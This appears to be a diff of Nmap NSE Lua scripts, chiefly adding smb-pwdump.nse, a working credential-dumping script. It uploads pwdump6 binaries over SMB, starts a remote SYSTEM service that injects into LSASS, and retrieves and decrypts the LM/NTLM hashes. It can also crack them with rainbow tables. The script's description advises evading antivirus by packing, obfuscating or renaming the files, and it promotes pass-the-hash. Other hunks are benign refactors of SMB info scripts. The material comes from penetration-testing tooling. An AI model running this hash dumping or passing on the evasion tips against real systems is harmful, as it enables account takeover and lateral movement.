return "ERROR: " .. err
else
return nil
end
end
-- Kill SMB
smb.stop(state)
if(state['os'] == nil and state['lanmanager'] == nil) then
if(nmap.debugging() > 0) then
return "Server didn't return OS details"
else
return nil
end
end
if(state['os'] == nil) then
state['os'] = "Unknown"
end
if(state['lanmanager'] == nil) then
state['lanmanager'] = "Unknown"
end
if(state['domain'] == nil) then
state['domain'] = "Unknown"
end
if(state['server'] == nil) then
state['server'] = "Unknown"
end
if(state['date'] == nil) then
state['date'] = "Unknown"
end
if(state['timezone_str'] == nil) then
state['timezone_str'] = ""
end
return string.format("%s\nLAN Manager: %s\nName: %s\\%s\nSystem time: %s %s\n", get_windows_version(state['os']), state['lanmanager'], state['domain'], state['server'], state['date'], state['timezone_str'])
return string.format("%s\nLAN Manager: %s\nName: %s\\%s\nSystem time: %s %s\n", get_windows_version(result['os']), result['lanmanager'], result['domain'], result['server'], result['date'], result['timezone_str'])
end

513
scripts/smb-pwdump.nse Normal file
View File

@@ -0,0 +1,513 @@
description = [[
This script implements the functionality found in pwdump.exe, written by the Foofus group.
Essentially, it works by using pwdump6's modules (servpw.exe and lsremora.dll) to dump the
password hashes for a remote machine. This currently works against Windows 2000 and Windows
2003.
To run this script, the executable files for pwdump, servpw.exe and lsremora.dll, have to be
downloaded. These can be found at <http://foofus.net/fizzgig/pwdump/>, and version 1.6 has been
tested. Those two files should be placed in nmap's nselib data directory, <code>.../nselib/data/</code>.
Note that these files will likely trigger antivirus software -- if you want to get around that,
I recommend compiling your own version or obfuscating/encrypting/packing them (upx works wonders).
Another possible way around antivirus software is to change the filenames (especially on the remote
system -- triggering antivirus on the remote system can land you with some questions to answer). To do
that, simply change the <code>FILE*</code> constants in <code>smb-pwdump.nse</code>.
The hashes dumped are Lanman and NTLM, and they're in the format Lanman:NTLM. If one or the other
isn't set, it's indicated. These are the hashes that are stored in the SAM file on Windows,
and can be used in place of a password to log into systems (this technique is called "passing the
hash", and can be done in Nmap by using the <code>smbhash</code> argument instead of
<code>smbpassword</code> -- see <code>smbauth.lua</code> for more information.
In addition to directly using the hashes, the hashes can also be cracked. Hashes can be cracked
fairly easily with Rainbow Crack (rcrack) or John the Ripper (john). If you intend to crack the
hashes without smb-pwdump.nse's help, I suggest setting the <code>strict</code> parameter to '1', which
tells smb-pwdump.nse to print the hashes in pwdump format (except for the leading pipe '|', which
Nmap adds). Alternatively, you can tell the script to crack the passwords using the <code>rtable</code>
argument. For example:
<code>nmap -p445 --script=smb-pwdump --script-args=smbuser=ron,smbpass=iagotest2k3,rtable=/tmp/alpha/*.rt <host></code>
This assumes that 'rcrack' is installed in a standard place -- if not, the <code>rcrack</code> parameter
can be set to the path. The charset.txt file from Rainbow Crack may also have to be in the current
directory.
This script works by uploading the pwdump6 program to a fileshare, then establishing a connection
to the service control service (SVCCTL) and creating a new service, pointing to the pwdump6 program
(this sounds really invasive, but it's identical to how pwdump6, fgdump, psexec, etc. work). The service
runs, and sends back the data. Once the service is finished, the script will stop the service and
delete the files.
Obviously, this script is <em>highly</em> intrusive (and requires administrative privileges).
It's running a service on the remote machine (with SYSTEM-level access) to accomplish its goals,
and the service injects itself into the LSASS process to collect the needed information.
That being said, extra effort was focused on cleaning up. Unless something really bad happens
(which is always possible with a script like this), the service will be removed and the files
deleted.
Currently, this will only run against server versions of Windows (Windows 2000 and Windows 2003).
I (Ron Bowes) am hoping to make Windows XP work, but I've had nothing but trouble. Windows Vista
and higher won't ever work, because they disable the SVCCTL process.
This script was written mostly to highlight Nmap's growing potential as a pen-testing tool.
It complements the <code>smb-brute.nse</code> script because smb-brute can find weak administrator
passwords, then smb-pwdump.nse can use those passwords to dump hashes/passwords. Those can be added
to the password list for more brute forcing.
Since this tool can be dangerous, and can easily be viewed as a malicious tool, the usual
disclaimer applies -- use this responsibly, and especially don't break any laws with it.
]]
---
-- @usage
-- nmap --script smb-pwdump.nse --script-args=smbuser=<username>,smbpass=<password> -p445 <host>
-- sudo nmap -sU -sS --script smb-pwdump.nse --script-args=smbuser=<username>,smbpass=<password> -p U:137,T:139 <host>
--
-- @output
-- | smb-test:
-- | Administrator:500:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
-- | ASPNET:1001:359E64F7361B678C283B72844ABF5707:49B784EF1E7AE06953E7A4D37A3E9529:::
-- | blankadmin:1003:NO PASSWORD*********************:NO PASSWORD*********************:::
-- | blankuser:1004:NO PASSWORD*********************:NO PASSWORD*********************:::
-- | Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
-- | Ron:1000:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
-- |_ test:1002:D702A1D01B6BC2418112333D93DFBB4C:C8DBB1CFF1970C9E3EC44EBE2BA7CCBC:::
--
-- @args rcrack Override the location checked for the Rainbow Crack program. By default, uses the default
-- directories searched by Lua (the $PATH variable, most likely)
-- @args rtable Set the path to the Rainbow Tables; for example, <code>/tmp/rainbow/*.rt</code>.
-- @args strict If set to '1', enable strict output. All output will be in pure pwdump format,
-- except for the leading pipe.
-----------------------------------------------------------------------
author = "Ron Bowes"
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive"}
require 'msrpc'
require 'smb'
require 'stdnse'
require 'nsedebug'
local SERVICE = "nmap-pwdump"
local PIPE = "nmap-pipe"
local FILE1 = "nselib/data/lsremora.dll"
local FILENAME1 = "lsremora.dll"
local FILE2 = "nselib/data/servpw.exe"
local FILENAME2 = "servpw.exe"
hostrule = function(host)
return smb.get_port(host) ~= nil
end
---Stop/delete the service and delete the service file. This can be used alone to clean up the
-- pwdump stuff, if this crashes.
function cleanup(host)
local status, err
stdnse.print_debug(1, "Entering cleanup() -- errors here can generally be ignored")
-- Try stopping the service
status, err = msrpc.service_stop(host, SERVICE)
if(status == false) then
stdnse.print_debug(1, "Couldn't stop service: %s", err)
end
-- os.exit()
-- Try deleting the service
status, err = msrpc.service_delete(host, SERVICE)
if(status == false) then
stdnse.print_debug(1, "Couldn't delete service: %s", err)
end
-- Delete the files
status, err = smb.file_delete(host, "C$", "\\" .. FILENAME1)
if(status == false) then
stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME1, err)
end
status, err = smb.file_delete(host, "C$", "\\" .. FILENAME2)
if(status == false) then
stdnse.print_debug(1, "Couldn't delete %s: %s", FILENAME2, err)
end
stdnse.print_debug(1, "Leaving cleanup()")
return true
end
function upload_files(host)
local status, err
status, err = smb.file_upload(host, FILE1, "C$", "\\" .. FILENAME1)
if(status == false) then
cleanup(host)
return false, string.format("Couldn't upload %s: %s\n", FILE1, err)
end
status, err = smb.file_upload(host, FILE2, "C$", "\\" .. FILENAME2)
if(status == false) then
cleanup(host)
return false, string.format("Couldn't upload %s: %s\n", FILE2, err)
end
return true
end
function read_and_decrypt(host, key, pipe)
local status, smbstate
local results = {}
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
if(status == false) then
return false, smbstate
end
local i = 1
repeat
local status, wait_result, create_result, read_result, close_result
results[i] = {}
-- Wait for some data to show up on the pipe (there's a bit of a race condition here -- if this is called before the pipe is
-- created, it'll fail with a STATUS_OBJECT_NAME_NOT_FOUND.
local j = 1
repeat
status, wait_result = smb.send_transaction_waitnamedpipe(smbstate, 0, "\\PIPE\\" .. pipe)
if(status ~= false) then
break
end
stdnse.print_debug(1, "WaitForNamedPipe() failed: %s (this may be normal behaviour)", wait_result)
j = j + 1
-- TODO: Wait 50ms, if there's a time when we get an actual sleep()-style function.
until status == true
if(j == 100) then
smbstop(smbstate)
return false, "WaitForNamedPipe() failed, service may not have been created properly."
end
-- Get a handle to the pipe
status, create_result = smb.create_file(smbstate, "\\" .. pipe)
if(status == false) then
smb.stop(smbstate)
return false, create_result
end
status, read_result = smb.read_file(smbstate, 0, 1000)
if(status == false) then
-- TODO: Figure out how to handle errors better
return false, read_result
else
local data = read_result['data']
local code = string.byte(string.sub(data, 1, 1))
if(code == 0) then
break
elseif(code == 2) then
local cUserBlocks = string.byte(string.sub(data, 3, 3))
local userblock = ""
for j = 0, cUserBlocks, 1 do
local _, a, b = bin.unpack("<II", data, 68 + (j * 8))
local encrypted = bin.pack(">II", a, b)
local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted)
_, a, b = bin.unpack("<II", decrypted_hex)
userblock = userblock .. bin.pack(">II", a, b)
end
local password_block = ""
for j = 0, 3, 1 do
local _, a, b = bin.unpack("<II", data, 4 + (j * 8))
local encrypted = bin.pack(">II", a, b)
local decrypted_hex = openssl.decrypt("blowfish", key, nil, encrypted)
_, a, b = bin.unpack("<II", decrypted_hex)
password_block = password_block .. bin.pack(">II", a, b)
end
_, results[i]['username'] = bin.unpack("z", userblock)
_, results[i]['ntlm'] = bin.unpack("H16", password_block)
_, results[i]['lm'] = bin.unpack("H16", password_block, 17)
if(results[i]['lm'] == "AAD3B435B51404EEAAD3B435B51404EE") then
results[i]['lm'] = "NO PASSWORD*********************"
end
if(results[i]['ntlm'] == "31D6CFE0D16AE931B73C59D7E0C089C0") then
results[i]['ntlm'] = "NO PASSWORD*********************"
end
else
stdnse.print_debug(1, "Unknown message code from pwdump: %d", code)
end
end
status, close_result = smb.close_file(smbstate)
if(status == false) then
smb.stop(smbstate)
return false, close_result
end
i = i + 1
until(1 == 2)
smb.stop(smbstate)
return true, results
end
-- TODO: Check for OpenSSL
function go(host)
local status, err
local results
local key
local key = ""
local i
-- Start by cleaning up, just in case.
cleanup(host)
-- It seems that, in my tests, if a key contains either a null byte or a negative byte (>= 0x80), errors
-- happen. So, at the cost of generating a weaker key (keeping in mind that it's already sent over the
-- network), we're going to generate a key from printable characters only (we could use 0x01 to 0x1F
-- without error, but eh? Debugging is easier when you can type the key in)
local key_bytes = openssl.rand_bytes(16)
for i = 1, 16, 1 do
key = key .. string.char((string.byte(string.sub(key_bytes, i, i)) % 0x5F) + 0x20)
end
-- Upload the files
status, err = upload_files(host)
if(status == false) then
stdnse.print_debug(1, "Couldn't upload the files: %s", err)
cleanup(host)
return false, string.format("Couldn't upload the files: %s", err)
end
-- Create the service
status, err = msrpc.service_create(host, SERVICE, "c:\\servpw.exe")
if(status == false) then
stdnse.print_debug(1, "Couldn't create the service: %s", err)
cleanup(host)
return false, string.format("Couldn't create the service on the remote machine: %s", err)
end
-- Start the service
status, err = msrpc.service_start(host, SERVICE, {PIPE, key, tostring(string.char(16)), tostring(string.char(0)), "servpw.exe"})
if(status == false) then
stdnse.print_debug(1, "Couldn't start the service: %s", err)
cleanup(host)
return false, string.format("Couldn't start the service on the remote machine: %s", err)
end
-- Read the data
status, results = read_and_decrypt(host, key, PIPE)
if(status == false) then
stdnse.print_debug(1, "Error reading data from remote service")
cleanup(host)
return false, string.format("Failed to read password data from the remote service: %s", err)
end
-- Clean up what we did
cleanup(host)
return true, results
end
---Converts an array of accounts to a pwdump-like representation.
--@param accounts The accounts array. It should have a list of tables, each with 'username', 'lm', and 'ntlm'.
--@param strict If 'strict' is set to true, a true pwdump representation wiill be used; otherwise, a more user friendly one will.
--@return A string in the standard pwdump format.
function accounts_to_pwdump(accounts, strict)
local str = ""
for i=1, #accounts, 1 do
if(accounts[i]['username'] ~= nil) then
if(strict) then
str = str .. string.format("%s:%s:%s:::\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'])
else
if(accounts[i]['password']) then
str = str .. string.format("%s => %s:%s (Password: %s)\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'], accounts[i]['password'])
else
str = str .. string.format("%s => %s:%s\n", accounts[i]['username'], accounts[i]['lm'], accounts[i]['ntlm'])
end
end
end
end
return str
end
---Run the 'rcrack' program and parse the output. This may sound simple, but the output of rcrack clearly
-- wasn't designed to be scriptable, so it's a little difficult. But, it works, at least for 1.2.
function rainbow(accounts, rcrack, rtable)
local pwdump = accounts_to_pwdump(accounts, true)
local pwdump_file = os.tmpname()
local file
local command = rcrack .. " " .. rtable .. " -f " .. pwdump_file
-- Print a warning if 'charset.txt' isn't present
file = io.open("charset.txt", "r")
if(file == nil) then
stdnse.print_debug(1, "WARNING: 'charset.txt' not found in current directory; rcrack may not run properly")
else
io.close(file)
end
-- Create the pwdump file
stdnse.print_debug(1, "Creating the temporary pwdump file (%s)", pwdump_file)
file, err = io.open(pwdump_file, "w")
if(file == nil) then
return false, err
end
file:write(pwdump)
file:close()
-- Start up rcrack
stdnse.print_debug(1, "Starting rcrack (%s)", command)
file, err = io.popen(command, "r")
if(file == nil) then
return false, err
end
for line in file:lines() do
stdnse.print_debug(2, "RCRACK: %s\n", line)
if(string.find(line, "hex:") ~= nil) then
local start_hex1 = 0
local start_hex2 = 0
local hex1, hex2
local ascii1, ascii2
local password
local i
-- First, find the last place in the string that starts with "hex:"
repeat
local _, pos = string.find(line, " hex:", start_hex1)
if(pos ~= nil) then
start_hex1 = pos + 1
end
until pos == nil
-- Get the first part of the hex
if(string.sub(line, start_hex1, start_hex1 + 9) == "<notfound>") then
-- If it wasn't found, then set it as such and go to after the "not found" part
ascii1 = "<notfound>"
start_hex2 = start_hex1 + 10
else
-- If it was found, convert to ascii
ascii1 = bin.pack("H", string.sub(line, start_hex1, start_hex1 + 13))
start_hex2 = start_hex1 + 14
end
-- Get the second part of the hex
if(string.sub(line, start_hex2) == "") then
ascii2 = ""
elseif(string.sub(line, start_hex2, start_hex2 + 9) == "<notfound>") then
-- It wasn't found
ascii2 = "<notfound>"
else
-- It was found, convert to ascii
ascii2 = bin.pack("H", string.sub(line, start_hex2, start_hex2 + 13))
end
-- Join the two halves of the password together
password = ascii1 .. ascii2
-- Figure out the username (it's the part that is followed by a bunch of spaces then the password)
i = string.find(line, " +" .. password)
username = string.sub(line, 1, i - 1)
-- Finally, find the username in the account table and add our entry
for i=1, #accounts, 1 do
if(accounts[i]['username'] ~= nil) then
if(string.find(accounts[i]['username'], username .. ":%d+$") ~= nil) then
accounts[i]['password'] = password
end
end
end
end
end
-- Close the process handle
file:close()
-- Remove the pwdump file
os.remove(pwdump_file)
return true, accounts
end
action = function(host)
local status, results
local response = " \n"
local rcrack = "rcrack"
local rtable = nil
-- Check if we have the necessary files
if(nmap.fetchfile(FILE1) == nil or nmap.fetchfile(FILE2) == nil) then
local err = " \n"
err = err .. string.format("Couldn't run smb-pwdump.nse, missing required file(s):\n")
if(nmap.fetchfile(FILE1) == nil) then
err = err .. "- " .. FILE1 .. "\n"
end
if(nmap.fetchfile(FILE2) == nil) then
err = err .. "- " .. FILE2 .. "\n"
end
err = err .. string.format("These are included in pwdump6 version 1.7.2:\n")
err = err .. string.format("<http://foofus.net/fizzgig/pwdump/downloads.htm>")
return err
end
status, results = go(host)
if(status == false) then
return "ERROR: " .. results
end
-- Only try cracking if strict is turned off
if(nmap.registry.args.strict == nil) then
-- Override the rcrack program
if(nmap.registry.args.rcrack ~= nil) then
rcrack = nmap.registry.args.rcrack
end
-- Check if a table was passed
if(nmap.registry.args.rtable ~= nil) then
rtable = nmap.registry.args.rtable
end
-- Check a spelling mistake that I keep making
if(nmap.registry.args.rtables ~= nil) then
rtable = nmap.registry.args.rtables
end
-- Check if we actually got a table
if(rtable ~= nil) then
status, crack_results = rainbow(results, rcrack, rtable)
if(status == false) then
response = "ERROR cracking: " .. crack_results .. "\n"
else
results = crack_results
end
end
response = response .. accounts_to_pwdump(results, false)
else
response = response .. accounts_to_pwdump(results, true)
end
return response
end

View File

@@ -3,31 +3,10 @@ Returns information about the SMB security level determined by SMB.
Here is how to interpret the output:
* User-level authentication: Each user has a separate username/password that is used
to log into the system. This is the default setup of pretty much everything
these days.
* Share-level authentication: The anonymous account should be used to log in, then
the password is given (in plaintext) when a share is accessed. All users who
have access to the share use this password. This was the original way of doing
things, but isn't commonly seen, now. If a server uses share-level security,
it is vulnerable to sniffing.
* Challenge/response passwords supported: If enabled, the server can accept any
type of password (plaintext, LM and NTLM, and LMv2 and NTLMv2). If it isn't set,
the server can only accept plaintext passwords. Most servers are configured to
use challenge/response these days. If a server is configured to accept plaintext
passwords, it is vulnerable to sniffing. LM and NTLM are fairly secure, although
there are some brute-force attacks against them. Additionally, LM and NTLM can
fall victim to man-in-the-middle attacks or relay attacks (see MS08-068 or my
writeup of it: http://www.skullsecurity.org/blog/?p=110).
* Message signing: If required, all messages between the client and server must
be signed by a shared key, derived from the password and the server
challenge. If supported and not required, message signing is negotiated between
clients and servers and used if both support and request it. By default,
Windows clients don't sign messages, so if message signing isn't required by
the server, messages probably won't be signed; additionally, if performing a
man-in-the-middle attack, an attacker can negotiate no message signing. If
message signing isn't required, the server is vulnerable to man-in-the-middle
attacks or SMB-relay attacks.
* User-level authentication: Each user has a separate username/password that is used to log into the system. This is the default setup of pretty much everything these days.
* Share-level authentication: The anonymous account should be used to log in, then the password is given (in plaintext) when a share is accessed. All users who have access to the share use this password. This was the original way of doing things, but isn't commonly seen, now. If a server uses share-level security, it is vulnerable to sniffing.
* Challenge/response passwords supported: If enabled, the server can accept any type of password (plaintext, LM and NTLM, and LMv2 and NTLMv2). If it isn't set, the server can only accept plaintext passwords. Most servers are configured to use challenge/response these days. If a server is configured to accept plaintext passwords, it is vulnerable to sniffing. LM and NTLM are fairly secure, although there are some brute-force attacks against them. Additionally, LM and NTLM can fall victim to man-in-the-middle attacks or relay attacks (see MS08-068 or my writeup of it: <http://www.skullsecurity.org/blog/?p=110>.
* Message signing: If required, all messages between the client and server must be signed by a shared key, derived from the password and the server challenge. If supported and not required, message signing is negotiated between clients and servers and used if both support and request it. By default, Windows clients don't sign messages, so if message signing isn't required by the server, messages probably won't be signed; additionally, if performing a man-in-the-middle attack, an attacker can negotiate no message signing. If message signing isn't required, the server is vulnerable to man-in-the-middle attacks or SMB-relay attacks.
This script will allow you to use the <code>smb*</code> script arguments (to
set the username and password, etc.), but it probably won't ever require them.

View File

@@ -3,7 +3,7 @@ Attempts to grab the server's statistics over SMB and MSRPC, which uses TCP
ports 445 or 139.
An administrator account is required to pull these statistics on most versions
of Windows, and Vista doesn't seem to let even the administrator account pull them.
of Windows, and Vista and above require UAC to be turned down.
Some of the numbers returned here don't feel right to me, but they're definitely
the numbers that Windows returns. Take the values here with a grain of salt.
@@ -44,65 +44,21 @@ end
action = function(host)
-- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SRVSVC_PATH)
if(status == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. smbstate
else
return nil
end
end
-- Bind to SRVSVC service
status, bind_result = msrpc.bind(smbstate, msrpc.SRVSVC_UUID, msrpc.SRVSVC_VERSION, nil)
if(status == false) then
smb.stop(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. bind_result
else
return nil
end
end
-- Call netservergetstatistics for 'server'
status, netservergetstatistics_result = msrpc.srvsvc_netservergetstatistics(smbstate, host.ip)
if(status == false) then
smb.stop(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. netservergetstatistics_result
else
return nil
end
end
-- Stop the session
smb.stop(smbstate)
-- Build the response
local stats = netservergetstatistics_result['stat']
local result, stats
local response = " \n"
local period = os.time() - stats['start']
local period_str
-- Fix a couple values
stats['bytessent'] = bit.bor(bit.lshift(stats['bytessent_high'], 32), stats['bytessent_low'])
stats['bytesrcvd'] = bit.bor(bit.lshift(stats['bytesrcvd_high'], 32), stats['bytesrcvd_low'])
result, stats = msrpc.get_server_stats(host)
if(period == 0) then
period = 1
end
if(period > 60 * 60 * 24) then
period_str = string.format("%dd%dh%02dm%02ds", period / (60*60*24), (period % (60*60*24)) / 3600, (period % 3600) / 60, period % 60)
elseif(period > 60 * 60) then
period_str = string.format("%dh%02dm%02ds", period / 3600, (period % 3600) / 60, period % 60)
if(result == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. stats
else
period_str = string.format("%02dm%02ds", period / 60, period % 60)
return nil
end
end
response = response .. string.format("Server statistics collected since %s (%s):\n", os.date("%Y-%m-%d %H:%M:%S", stats['start']), period_str)
response = response .. string.format("|_ Traffic %d bytes (%.2f b/s) sent, %d bytes (%.2f b/s) received\n", stats['bytessent'], stats['bytessent'] / period, stats['bytesrcvd'], stats['bytesrcvd'] / period)
response = response .. string.format("Server statistics collected since %s (%s):\n", stats['start_str'], stats['period_str'])
response = response .. string.format("|_ Traffic %d bytes (%.2f b/s) sent, %d bytes (%.2f b/s) received\n", stats['bytessent'], stats['bytessentpersecond'], stats['bytesrcvd'], stats['bytesrcvdpersecond'])
response = response .. string.format("|_ Failed logins: %d\n", stats['pwerrors'])
response = response .. string.format("|_ Permission errors: %d, System errors: %d\n", stats['permerrors'], stats['syserrors'])
response = response .. string.format("|_ Print jobs spooled: %s\n", stats['jobsqueued'])

View File

@@ -1,20 +1,21 @@
description = [[
Pulls back information about the remote system from the registry. Getting all
of the information requires an administrative account, although a user account
will still get a lot of it. Guest probably won't get any, nor will anonymous.
This goes for all operating systems, including Windows 2000.
Windows Vista doesn't appear to have the WINREG binding (or it's different and
I don't know it), so this doesn't support Vista at all.
Windows Vista disables remote registry access by default, so unless itw as enabled,
this script won't work.
If you know of more information stored in the Windows registry that could be interesting,
post a message to the nmap-dev mailing list and I (Ron Bowes) will add it to my todo list.
Adding new checks to this is extremely easy.
WARNING: I have experienced crashes in regsvc.exe while making registry calls against a fully patched Windows
2000 system; I've fixed the issue that caused it, but there's no guarantee that it (or a similar vuln in the
same code) won't show up again.
WARNING: I have experienced crashes in regsvc.exe while making registry calls
against a fully patched Windows 2000 system; I've fixed the issue that caused it,
but there's no guarantee that it (or a similar vuln in the same code) won't show
up again. Since the process automatically restarts, it doesn't negatively impact
the system, besides showing a message box to the user.
]]
---
@@ -202,6 +203,10 @@ action = function(host)
response = response .. string.format("Hardware\n")
for i = 0, result['number_of_processors'] - 1, 1 do
if(result['status-processornamestring'..i] == false) then
result['status-processornamestring'..i] = "Unknown"
end
response = response .. string.format("|_ CPU %d: %s [%dmhz %s]\n", i, result['processornamestring'..i], result['~mhz'..i], result['vendoridentifier'..i])
response = response .. string.format("|_ Identifier %d: %s\n", i, result['identifier'..i])
end